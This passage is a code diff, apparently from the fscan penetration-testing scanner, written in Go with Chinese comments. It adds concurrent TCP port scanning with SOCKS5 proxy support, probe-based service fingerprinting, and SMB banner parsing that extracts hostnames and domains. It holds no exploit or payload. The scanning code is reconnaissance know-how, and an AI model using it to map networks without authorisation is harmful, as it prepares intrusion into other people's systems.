"device_type": e.DeviceType,
|
||||||
|
"cpe": e.CPE,
|
||||||
|
}
|
||||||
|
|
||||||
|
// 添加非空字段到结果map
|
||||||
|
for key, value := range fields {
|
||||||
|
if value != "" {
|
||||||
|
result[key] = value
|
||||||
|
Common.LogDebug(fmt.Sprintf("添加字段 %s: %s", key, value))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("转换完成,共有 %d 个字段", len(result)))
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
|
||||||
|
func DecodeData(s string) ([]byte, error) {
|
||||||
|
if len(s) == 0 {
|
||||||
|
Common.LogDebug("输入数据为空")
|
||||||
|
return nil, fmt.Errorf("empty input")
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始解码数据,长度: %d, 内容: %q", len(s), s))
|
||||||
|
sByteOrigin := []byte(s)
|
||||||
|
|
||||||
|
// 处理十六进制、八进制和结构化转义序列
|
||||||
|
matchRe := regexp.MustCompile(`\\(x[0-9a-fA-F]{2}|[0-7]{1,3}|[aftnrv])`)
|
||||||
|
sByteDec := matchRe.ReplaceAllFunc(sByteOrigin, func(match []byte) []byte {
|
||||||
|
// 处理十六进制转义
|
||||||
|
if isHexCode(match) {
|
||||||
|
hexNum := match[2:]
|
||||||
|
byteNum, err := strconv.ParseInt(string(hexNum), 16, 32)
|
||||||
|
if err != nil {
|
||||||
|
return match
|
||||||
|
}
|
||||||
|
return []byte{uint8(byteNum)}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理结构化转义字符
|
||||||
|
if isStructCode(match) {
|
||||||
|
structCodeMap := map[int][]byte{
|
||||||
|
97: []byte{0x07}, // \a 响铃
|
||||||
|
102: []byte{0x0c}, // \f 换页
|
||||||
|
116: []byte{0x09}, // \t 制表符
|
||||||
|
110: []byte{0x0a}, // \n 换行
|
||||||
|
114: []byte{0x0d}, // \r 回车
|
||||||
|
118: []byte{0x0b}, // \v 垂直制表符
|
||||||
|
}
|
||||||
|
if replace, ok := structCodeMap[int(match[1])]; ok {
|
||||||
|
return replace
|
||||||
|
}
|
||||||
|
return match
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理八进制转义
|
||||||
|
if isOctalCode(match) {
|
||||||
|
octalNum := match[2:]
|
||||||
|
byteNum, err := strconv.ParseInt(string(octalNum), 8, 32)
|
||||||
|
if err != nil {
|
||||||
|
return match
|
||||||
|
}
|
||||||
|
return []byte{uint8(byteNum)}
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("无法识别的转义序列: %s", string(match)))
|
||||||
|
return match
|
||||||
|
})
|
||||||
|
|
||||||
|
// 处理其他转义序列
|
||||||
|
matchRe2 := regexp.MustCompile(`\\([^\\])`)
|
||||||
|
sByteDec2 := matchRe2.ReplaceAllFunc(sByteDec, func(match []byte) []byte {
|
||||||
|
if len(match) < 2 {
|
||||||
|
return match
|
||||||
|
}
|
||||||
|
if isOtherEscapeCode(match) {
|
||||||
|
return []byte{match[1]}
|
||||||
|
}
|
||||||
|
return match
|
||||||
|
})
|
||||||
|
|
||||||
|
if len(sByteDec2) == 0 {
|
||||||
|
Common.LogDebug("解码后数据为空")
|
||||||
|
return nil, fmt.Errorf("decoded data is empty")
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("解码完成,结果长度: %d, 内容: %x", len(sByteDec2), sByteDec2))
|
||||||
|
return sByteDec2, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetAddress 获取目标的完整地址(IP:端口)
|
||||||
|
func (t *Target) GetAddress() string {
|
||||||
|
addr := t.IP + ":" + strconv.Itoa(t.Port)
|
||||||
|
Common.LogDebug("获取目标地址: " + addr)
|
||||||
|
return addr
|
||||||
|
}
|
||||||
|
|
||||||
|
// trimBanner 处理和清理横幅数据
|
||||||
|
func trimBanner(buf []byte) string {
|
||||||
|
Common.LogDebug("开始处理横幅数据")
|
||||||
|
bufStr := string(buf)
|
||||||
|
|
||||||
|
// 特殊处理SMB协议
|
||||||
|
if strings.Contains(bufStr, "SMB") {
|
||||||
|
banner := hex.EncodeToString(buf)
|
||||||
|
if len(banner) > 0xa+6 && banner[0xa:0xa+6] == "534d42" { // "SMB" in hex
|
||||||
|
Common.LogDebug("检测到SMB协议数据")
|
||||||
|
plain := banner[0xa2:]
|
||||||
|
data, err := hex.DecodeString(plain)
|
||||||
|
if err != nil {
|
||||||
|
Common.LogDebug("SMB数据解码失败: " + err.Error())
|
||||||
|
return bufStr
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析domain
|
||||||
|
var domain string
|
||||||
|
var index int
|
||||||
|
for i, s := range data {
|
||||||
|
if s != 0 {
|
||||||
|
domain += string(s)
|
||||||
|
} else if i+1 < len(data) && data[i+1] == 0 {
|
||||||
|
index = i + 2
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析hostname
|
||||||
|
var hostname string
|
||||||
|
remainData := data[index:]
|
||||||
|
for i, h := range remainData {
|
||||||
|
if h != 0 {
|
||||||
|
hostname += string(h)
|
||||||
|
}
|
||||||
|
if i+1 < len(remainData) && remainData[i+1] == 0 {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
smbBanner := fmt.Sprintf("hostname: %s domain: %s", hostname, domain)
|
||||||
|
Common.LogDebug("SMB横幅: " + smbBanner)
|
||||||
|
return smbBanner
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理常规数据
|
||||||
|
var src string
|
||||||
|
for _, ch := range bufStr {
|
||||||
|
if ch > 32 && ch < 125 {
|
||||||
|
src += string(ch)
|
||||||
|
} else {
|
||||||
|
src += " "
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 清理多余空白
|
||||||
|
re := regexp.MustCompile(`\s{2,}`)
|
||||||
|
src = re.ReplaceAllString(src, ".")
|
||||||
|
result := strings.TrimSpace(src)
|
||||||
|
Common.LogDebug("处理后的横幅: " + result)
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
|
||||||
|
// Init 初始化VScan对象
|
||||||
|
func (v *VScan) Init() {
|
||||||
|
Common.LogDebug("开始初始化VScan")
|
||||||
|
v.parseProbesFromContent(ProbeString)
|
||||||
|
v.parseProbesToMapKName()
|
||||||
|
v.SetusedProbes()
|
||||||
|
Common.LogDebug("VScan初始化完成")
|
||||||
|
}
|
||||||
@@ -0,0 +1,476 @@
|
|||||||
|
package Core
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"github.com/shadow1ng/fscan/Common"
|
||||||
|
"io"
|
||||||
|
"net"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ServiceInfo 定义服务识别的结果信息
|
||||||
|
type ServiceInfo struct {
|
||||||
|
Name string // 服务名称,如 http、ssh 等
|
||||||
|
Banner string // 服务返回的横幅信息
|
||||||
|
Version string // 服务版本号
|
||||||
|
Extras map[string]string // 其他额外信息,如操作系统、产品名等
|
||||||
|
}
|
||||||
|
|
||||||
|
// Result 定义单次探测的结果
|
||||||
|
type Result struct {
|
||||||
|
Service Service // 识别出的服务信息
|
||||||
|
Banner string // 服务横幅
|
||||||
|
Extras map[string]string // 额外信息
|
||||||
|
Send []byte // 发送的探测数据
|
||||||
|
Recv []byte // 接收到的响应数据
|
||||||
|
}
|
||||||
|
|
||||||
|
// Service 定义服务的基本信息
|
||||||
|
type Service struct {
|
||||||
|
Name string // 服务名称
|
||||||
|
Extras map[string]string // 服务的额外属性
|
||||||
|
}
|
||||||
|
|
||||||
|
// Info 定义单个端口探测的上下文信息
|
||||||
|
type Info struct {
|
||||||
|
Address string // 目标IP地址
|
||||||
|
Port int // 目标端口
|
||||||
|
Conn net.Conn // 网络连接
|
||||||
|
Result Result // 探测结果
|
||||||
|
Found bool // 是否成功识别服务
|
||||||
|
}
|
||||||
|
|
||||||
|
// PortInfoScanner 定义端口服务识别器
|
||||||
|
type PortInfoScanner struct {
|
||||||
|
Address string // 目标IP地址
|
||||||
|
Port int // 目标端口
|
||||||
|
Conn net.Conn // 网络连接
|
||||||
|
Timeout time.Duration // 超时时间
|
||||||
|
info *Info // 探测上下文
|
||||||
|
}
|
||||||
|
|
||||||
|
// 预定义的基础探测器
|
||||||
|
var (
|
||||||
|
null = new(Probe) // 空探测器,用于基本协议识别
|
||||||
|
common = new(Probe) // 通用探测器,用于常见服务识别
|
||||||
|
)
|
||||||
|
|
||||||
|
// NewPortInfoScanner 创建新的端口服务识别器实例
|
||||||
|
func NewPortInfoScanner(addr string, port int, conn net.Conn, timeout time.Duration) *PortInfoScanner {
|
||||||
|
return &PortInfoScanner{
|
||||||
|
Address: addr,
|
||||||
|
Port: port,
|
||||||
|
Conn: conn,
|
||||||
|
Timeout: timeout,
|
||||||
|
info: &Info{
|
||||||
|
Address: addr,
|
||||||
|
Port: port,
|
||||||
|
Conn: conn,
|
||||||
|
Result: Result{
|
||||||
|
Service: Service{},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Identify 执行服务识别,返回识别结果
|
||||||
|
func (s *PortInfoScanner) Identify() (*ServiceInfo, error) {
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始识别服务 %s:%d", s.Address, s.Port))
|
||||||
|
s.info.PortInfo()
|
||||||
|
|
||||||
|
// 构造返回结果
|
||||||
|
serviceInfo := &ServiceInfo{
|
||||||
|
Name: s.info.Result.Service.Name,
|
||||||
|
Banner: s.info.Result.Banner,
|
||||||
|
Version: s.info.Result.Service.Extras["version"],
|
||||||
|
Extras: make(map[string]string),
|
||||||
|
}
|
||||||
|
|
||||||
|
// 复制额外信息
|
||||||
|
for k, v := range s.info.Result.Service.Extras {
|
||||||
|
serviceInfo.Extras[k] = v
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("服务识别完成 %s:%d => %s", s.Address, s.Port, serviceInfo.Name))
|
||||||
|
return serviceInfo, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// PortInfo 执行端口服务识别的主要逻辑
|
||||||
|
func (i *Info) PortInfo() {
|
||||||
|
// 1. 首先尝试读取服务的初始响应
|
||||||
|
if response, err := i.Read(); err == nil && len(response) > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("收到初始响应: %d 字节", len(response)))
|
||||||
|
|
||||||
|
// 使用基础探测器检查响应
|
||||||
|
Common.LogDebug("尝试使用基础探测器(null/common)检查响应")
|
||||||
|
if i.tryProbes(response, []*Probe{null, common}) {
|
||||||
|
Common.LogDebug("基础探测器匹配成功")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
Common.LogDebug("基础探测器未匹配")
|
||||||
|
} else if err != nil {
|
||||||
|
Common.LogDebug(fmt.Sprintf("读取初始响应失败: %v", err))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 记录已使用的探测器,避免重复使用
|
||||||
|
usedProbes := make(map[string]struct{})
|
||||||
|
|
||||||
|
// 2. 尝试使用端口专用探测器
|
||||||
|
Common.LogDebug(fmt.Sprintf("尝试使用端口 %d 的专用探测器", i.Port))
|
||||||
|
if i.processPortMapProbes(usedProbes) {
|
||||||
|
Common.LogDebug("端口专用探测器匹配成功")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
Common.LogDebug("端口专用探测器未匹配")
|
||||||
|
|
||||||
|
// 3. 使用默认探测器列表
|
||||||
|
Common.LogDebug("尝试使用默认探测器列表")
|
||||||
|
if i.processDefaultProbes(usedProbes) {
|
||||||
|
Common.LogDebug("默认探测器匹配成功")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
Common.LogDebug("默认探测器未匹配")
|
||||||
|
|
||||||
|
// 4. 如果所有探测都失败,标记为未知服务
|
||||||
|
if strings.TrimSpace(i.Result.Service.Name) == "" {
|
||||||
|
Common.LogDebug("未识别出服务,标记为 unknown")
|
||||||
|
i.Result.Service.Name = "unknown"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// tryProbes 尝试使用指定的探测器列表检查响应
|
||||||
|
func (i *Info) tryProbes(response []byte, probes []*Probe) bool {
|
||||||
|
for _, probe := range probes {
|
||||||
|
Common.LogDebug(fmt.Sprintf("尝试探测器: %s", probe.Name))
|
||||||
|
i.GetInfo(response, probe)
|
||||||
|
if i.Found {
|
||||||
|
Common.LogDebug(fmt.Sprintf("探测器 %s 匹配成功", probe.Name))
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// processPortMapProbes 处理端口映射中的专用探测器
|
||||||
|
func (i *Info) processPortMapProbes(usedProbes map[string]struct{}) bool {
|
||||||
|
// 检查是否存在端口专用探测器
|
||||||
|
if len(Common.PortMap[i.Port]) == 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("端口 %d 没有专用探测器", i.Port))
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// 遍历端口专用探测器
|
||||||
|
for _, name := range Common.PortMap[i.Port] {
|
||||||
|
Common.LogDebug(fmt.Sprintf("尝试端口专用探测器: %s", name))
|
||||||
|
usedProbes[name] = struct{}{}
|
||||||
|
probe := v.ProbesMapKName[name]
|
||||||
|
|
||||||
|
// 解码探测数据
|
||||||
|
probeData, err := DecodeData(probe.Data)
|
||||||
|
if err != nil || len(probeData) == 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("探测器 %s 数据解码失败", name))
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送探测数据并获取响应
|
||||||
|
Common.LogDebug(fmt.Sprintf("发送探测数据: %d 字节", len(probeData)))
|
||||||
|
if response := i.Connect(probeData); len(response) > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("收到响应: %d 字节", len(response)))
|
||||||
|
|
||||||
|
// 使用当前探测器检查响应
|
||||||
|
i.GetInfo(response, &probe)
|
||||||
|
if i.Found {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
// 根据探测器类型进行额外检查
|
||||||
|
switch name {
|
||||||
|
case "GenericLines":
|
||||||
|
if i.tryProbes(response, []*Probe{null}) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
case "NULL":
|
||||||
|
continue
|
||||||
|
default:
|
||||||
|
if i.tryProbes(response, []*Probe{common}) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// processDefaultProbes 处理默认探测器列表
|
||||||
|
func (i *Info) processDefaultProbes(usedProbes map[string]struct{}) bool {
|
||||||
|
failCount := 0
|
||||||
|
const maxFailures = 10 // 最大失败次数
|
||||||
|
|
||||||
|
// 遍历默认探测器列表
|
||||||
|
for _, name := range Common.DefaultMap {
|
||||||
|
// 跳过已使用的探测器
|
||||||
|
if _, used := usedProbes[name]; used {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
probe := v.ProbesMapKName[name]
|
||||||
|
probeData, err := DecodeData(probe.Data)
|
||||||
|
if err != nil || len(probeData) == 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送探测数据并获取响应
|
||||||
|
response := i.Connect(probeData)
|
||||||
|
if len(response) == 0 {
|
||||||
|
failCount++
|
||||||
|
if failCount > maxFailures {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// 使用当前探测器检查响应
|
||||||
|
i.GetInfo(response, &probe)
|
||||||
|
if i.Found {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
// 根据探测器类型进行额外检查
|
||||||
|
switch name {
|
||||||
|
case "GenericLines":
|
||||||
|
if i.tryProbes(response, []*Probe{null}) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
case "NULL":
|
||||||
|
continue
|
||||||
|
default:
|
||||||
|
if i.tryProbes(response, []*Probe{common}) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 尝试使用端口映射中的其他探测器
|
||||||
|
if len(Common.PortMap[i.Port]) > 0 {
|
||||||
|
for _, mappedName := range Common.PortMap[i.Port] {
|
||||||
|
usedProbes[mappedName] = struct{}{}
|
||||||
|
mappedProbe := v.ProbesMapKName[mappedName]
|
||||||
|
i.GetInfo(response, &mappedProbe)
|
||||||
|
if i.Found {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetInfo 分析响应数据并提取服务信息
|
||||||
|
func (i *Info) GetInfo(response []byte, probe *Probe) {
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始分析响应数据,长度: %d", len(response)))
|
||||||
|
|
||||||
|
// 响应数据有效性检查
|
||||||
|
if len(response) <= 0 {
|
||||||
|
Common.LogDebug("响应数据为空")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
result := &i.Result
|
||||||
|
var (
|
||||||
|
softMatch Match
|
||||||
|
softFound bool
|
||||||
|
)
|
||||||
|
|
||||||
|
// 处理主要匹配规则
|
||||||
|
Common.LogDebug(fmt.Sprintf("处理探测器 %s 的主要匹配规则", probe.Name))
|
||||||
|
if matched, match := i.processMatches(response, probe.Matchs); matched {
|
||||||
|
Common.LogDebug("找到硬匹配")
|
||||||
|
return
|
||||||
|
} else if match != nil {
|
||||||
|
Common.LogDebug("找到软匹配")
|
||||||
|
softFound = true
|
||||||
|
softMatch = *match
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理回退匹配规则
|
||||||
|
if probe.Fallback != "" {
|
||||||
|
Common.LogDebug(fmt.Sprintf("尝试回退匹配: %s", probe.Fallback))
|
||||||
|
if fbProbe, ok := v.ProbesMapKName[probe.Fallback]; ok {
|
||||||
|
if matched, match := i.processMatches(response, fbProbe.Matchs); matched {
|
||||||
|
Common.LogDebug("回退匹配成功")
|
||||||
|
return
|
||||||
|
} else if match != nil {
|
||||||
|
Common.LogDebug("找到回退软匹配")
|
||||||
|
softFound = true
|
||||||
|
softMatch = *match
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理未找到匹配的情况
|
||||||
|
if !i.Found {
|
||||||
|
Common.LogDebug("未找到硬匹配,处理未匹配情况")
|
||||||
|
i.handleNoMatch(response, result, softFound, softMatch)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// processMatches 处理匹配规则集
|
||||||
|
func (i *Info) processMatches(response []byte, matches *[]Match) (bool, *Match) {
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始处理匹配规则,共 %d 条", len(*matches)))
|
||||||
|
var softMatch *Match
|
||||||
|
|
||||||
|
for _, match := range *matches {
|
||||||
|
if !match.MatchPattern(response) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
if !match.IsSoft {
|
||||||
|
Common.LogDebug(fmt.Sprintf("找到硬匹配: %s", match.Service))
|
||||||
|
i.handleHardMatch(response, &match)
|
||||||
|
return true, nil
|
||||||
|
} else if softMatch == nil {
|
||||||
|
Common.LogDebug(fmt.Sprintf("找到软匹配: %s", match.Service))
|
||||||
|
tmpMatch := match
|
||||||
|
softMatch = &tmpMatch
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return false, softMatch
|
||||||
|
}
|
||||||
|
|
||||||
|
// handleHardMatch 处理硬匹配结果
|
||||||
|
func (i *Info) handleHardMatch(response []byte, match *Match) {
|
||||||
|
Common.LogDebug(fmt.Sprintf("处理硬匹配结果: %s", match.Service))
|
||||||
|
result := &i.Result
|
||||||
|
extras := match.ParseVersionInfo(response)
|
||||||
|
extrasMap := extras.ToMap()
|
||||||
|
|
||||||
|
result.Service.Name = match.Service
|
||||||
|
result.Extras = extrasMap
|
||||||
|
result.Banner = trimBanner(response)
|
||||||
|
result.Service.Extras = extrasMap
|
||||||
|
|
||||||
|
// 特殊处理 microsoft-ds 服务
|
||||||
|
if result.Service.Name == "microsoft-ds" {
|
||||||
|
Common.LogDebug("特殊处理 microsoft-ds 服务")
|
||||||
|
result.Service.Extras["hostname"] = result.Banner
|
||||||
|
}
|
||||||
|
|
||||||
|
i.Found = true
|
||||||
|
Common.LogDebug(fmt.Sprintf("服务识别结果: %s, Banner: %s", result.Service.Name, result.Banner))
|
||||||
|
}
|
||||||
|
|
||||||
|
// handleNoMatch 处理未找到匹配的情况
|
||||||
|
func (i *Info) handleNoMatch(response []byte, result *Result, softFound bool, softMatch Match) {
|
||||||
|
Common.LogDebug("处理未匹配情况")
|
||||||
|
result.Banner = trimBanner(response)
|
||||||
|
|
||||||
|
if !softFound {
|
||||||
|
// 尝试识别 HTTP 服务
|
||||||
|
if strings.Contains(result.Banner, "HTTP/") ||
|
||||||
|
strings.Contains(result.Banner, "html") {
|
||||||
|
Common.LogDebug("识别为HTTP服务")
|
||||||
|
result.Service.Name = "http"
|
||||||
|
} else {
|
||||||
|
Common.LogDebug("未知服务")
|
||||||
|
result.Service.Name = "unknown"
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
Common.LogDebug("使用软匹配结果")
|
||||||
|
extras := softMatch.ParseVersionInfo(response)
|
||||||
|
result.Service.Extras = extras.ToMap()
|
||||||
|
result.Service.Name = softMatch.Service
|
||||||
|
i.Found = true
|
||||||
|
Common.LogDebug(fmt.Sprintf("软匹配服务: %s", result.Service.Name))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Connect 发送数据并获取响应
|
||||||
|
func (i *Info) Connect(msg []byte) []byte {
|
||||||
|
i.Write(msg)
|
||||||
|
reply, _ := i.Read()
|
||||||
|
return reply
|
||||||
|
}
|
||||||
|
|
||||||
|
const WrTimeout = 5 // 默认读写超时时间(秒)
|
||||||
|
|
||||||
|
// Write 写入数据到连接
|
||||||
|
func (i *Info) Write(msg []byte) error {
|
||||||
|
if i.Conn == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置写入超时
|
||||||
|
i.Conn.SetWriteDeadline(time.Now().Add(time.Second * time.Duration(WrTimeout)))
|
||||||
|
|
||||||
|
// 写入数据
|
||||||
|
_, err := i.Conn.Write(msg)
|
||||||
|
if err != nil && strings.Contains(err.Error(), "close") {
|
||||||
|
i.Conn.Close()
|
||||||
|
// 连接关闭时重试 - 支持SOCKS5代理
|
||||||
|
i.Conn, err = Common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:%d", i.Address, i.Port), time.Duration(6)*time.Second)
|
||||||
|
if err == nil {
|
||||||
|
i.Conn.SetWriteDeadline(time.Now().Add(time.Second * time.Duration(WrTimeout)))
|
||||||
|
_, err = i.Conn.Write(msg)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 记录发送的数据
|
||||||
|
if err == nil {
|
||||||
|
i.Result.Send = msg
|
||||||
|
}
|
||||||
|
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
// Read 从连接读取响应
|
||||||
|
func (i *Info) Read() ([]byte, error) {
|
||||||
|
if i.Conn == nil {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置读取超时
|
||||||
|
i.Conn.SetReadDeadline(time.Now().Add(time.Second * time.Duration(WrTimeout)))
|
||||||
|
|
||||||
|
// 读取数据
|
||||||
|
result, err := readFromConn(i.Conn)
|
||||||
|
if err != nil && strings.Contains(err.Error(), "close") {
|
||||||
|
return result, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// 记录接收到的数据
|
||||||
|
if len(result) > 0 {
|
||||||
|
i.Result.Recv = result
|
||||||
|
}
|
||||||
|
|
||||||
|
return result, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// readFromConn 从连接读取数据的辅助函数
|
||||||
|
func readFromConn(conn net.Conn) ([]byte, error) {
|
||||||
|
size := 2 * 1024 // 读取缓冲区大小
|
||||||
|
var result []byte
|
||||||
|
|
||||||
|
for {
|
||||||
|
buf := make([]byte, size)
|
||||||
|
count, err := conn.Read(buf)
|
||||||
|
|
||||||
|
if count > 0 {
|
||||||
|
result = append(result, buf[:count]...)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err != nil {
|
||||||
|
if len(result) > 0 {
|
||||||
|
return result, nil
|
||||||
|
}
|
||||||
|
if err == io.EOF {
|
||||||
|
return result, nil
|
||||||
|
}
|
||||||
|
return result, err
|
||||||
|
}
|
||||||
|
|
||||||
|
if count < size {
|
||||||
|
return result, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+129
-115
@@ -1,136 +1,150 @@
|
|||||||
package Core
|
package Core
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"context"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/Common"
|
"github.com/shadow1ng/fscan/Common"
|
||||||
"sort"
|
"golang.org/x/sync/errgroup"
|
||||||
|
"golang.org/x/sync/semaphore"
|
||||||
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
|
"sync/atomic"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
// Addr 表示待扫描的地址
|
// EnhancedPortScan 高性能端口扫描函数
|
||||||
type Addr struct {
|
func EnhancedPortScan(hosts []string, ports string, timeout int64) []string {
|
||||||
ip string // IP地址
|
// 解析端口和排除端口
|
||||||
port int // 端口号
|
portList := Common.ParsePort(ports)
|
||||||
}
|
if len(portList) == 0 {
|
||||||
|
Common.LogError("无效端口: " + ports)
|
||||||
// PortScan 执行端口扫描
|
return nil
|
||||||
func PortScan(hostslist []string, ports string, timeout int64) []string {
|
|
||||||
var AliveAddress []string
|
|
||||||
|
|
||||||
// 解析端口列表
|
|
||||||
probePorts := Common.ParsePort(ports)
|
|
||||||
if len(probePorts) == 0 {
|
|
||||||
fmt.Printf("[-] 端口格式错误: %s, 请检查端口格式\n", ports)
|
|
||||||
return AliveAddress
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 排除指定端口
|
exclude := make(map[int]struct{})
|
||||||
probePorts = excludeNoPorts(probePorts)
|
for _, p := range Common.ParsePort(Common.ExcludePorts) {
|
||||||
|
exclude[p] = struct{}{}
|
||||||
|
}
|
||||||
|
|
||||||
// 创建通道
|
// 初始化并发控制
|
||||||
workers := Common.Threads
|
ctx, cancel := context.WithCancel(context.Background())
|
||||||
addrs := make(chan Addr, 100)
|
defer cancel()
|
||||||
results := make(chan string, 100)
|
to := time.Duration(timeout) * time.Second
|
||||||
var wg sync.WaitGroup
|
sem := semaphore.NewWeighted(int64(Common.ThreadNum))
|
||||||
|
var count int64
|
||||||
|
var aliveMap sync.Map
|
||||||
|
g, ctx := errgroup.WithContext(ctx)
|
||||||
|
|
||||||
// 接收扫描结果
|
// 并发扫描所有目标
|
||||||
go collectResults(&AliveAddress, results, &wg)
|
for _, host := range hosts {
|
||||||
|
for _, port := range portList {
|
||||||
// 启动扫描协程
|
if _, excluded := exclude[port]; excluded {
|
||||||
for i := 0; i < workers; i++ {
|
continue
|
||||||
go func() {
|
|
||||||
for addr := range addrs {
|
|
||||||
PortConnect(addr, results, timeout, &wg)
|
|
||||||
wg.Done()
|
|
||||||
}
|
}
|
||||||
}()
|
|
||||||
}
|
|
||||||
|
|
||||||
// 添加扫描目标
|
host, port := host, port // 捕获循环变量
|
||||||
for _, port := range probePorts {
|
addr := fmt.Sprintf("%s:%d", host, port)
|
||||||
for _, host := range hostslist {
|
|
||||||
wg.Add(1)
|
if err := sem.Acquire(ctx, 1); err != nil {
|
||||||
addrs <- Addr{host, port}
|
break
|
||||||
|
}
|
||||||
|
|
||||||
|
g.Go(func() error {
|
||||||
|
defer sem.Release(1)
|
||||||
|
|
||||||
|
// 连接测试 - 支持SOCKS5代理
|
||||||
|
conn, err := Common.WrapperTcpWithTimeout("tcp", addr, to)
|
||||||
|
if err != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
defer conn.Close()
|
||||||
|
|
||||||
|
// 记录开放端口
|
||||||
|
atomic.AddInt64(&count, 1)
|
||||||
|
aliveMap.Store(addr, struct{}{})
|
||||||
|
Common.LogInfo("端口开放 " + addr)
|
||||||
|
Common.SaveResult(&Common.ScanResult{
|
||||||
|
Time: time.Now(), Type: Common.PORT, Target: host,
|
||||||
|
Status: "open", Details: map[string]interface{}{"port": port},
|
||||||
|
})
|
||||||
|
|
||||||
|
// 服务识别
|
||||||
|
if Common.EnableFingerprint {
|
||||||
|
if info, err := NewPortInfoScanner(host, port, conn, to).Identify(); err == nil {
|
||||||
|
// 构建结果详情
|
||||||
|
details := map[string]interface{}{"port": port, "service": info.Name}
|
||||||
|
if info.Version != "" {
|
||||||
|
details["version"] = info.Version
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理额外信息
|
||||||
|
for k, v := range info.Extras {
|
||||||
|
if v == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
switch k {
|
||||||
|
case "vendor_product":
|
||||||
|
details["product"] = v
|
||||||
|
case "os", "info":
|
||||||
|
details[k] = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if len(info.Banner) > 0 {
|
||||||
|
details["banner"] = strings.TrimSpace(info.Banner)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 保存服务结果
|
||||||
|
Common.SaveResult(&Common.ScanResult{
|
||||||
|
Time: time.Now(), Type: Common.SERVICE, Target: host,
|
||||||
|
Status: "identified", Details: details,
|
||||||
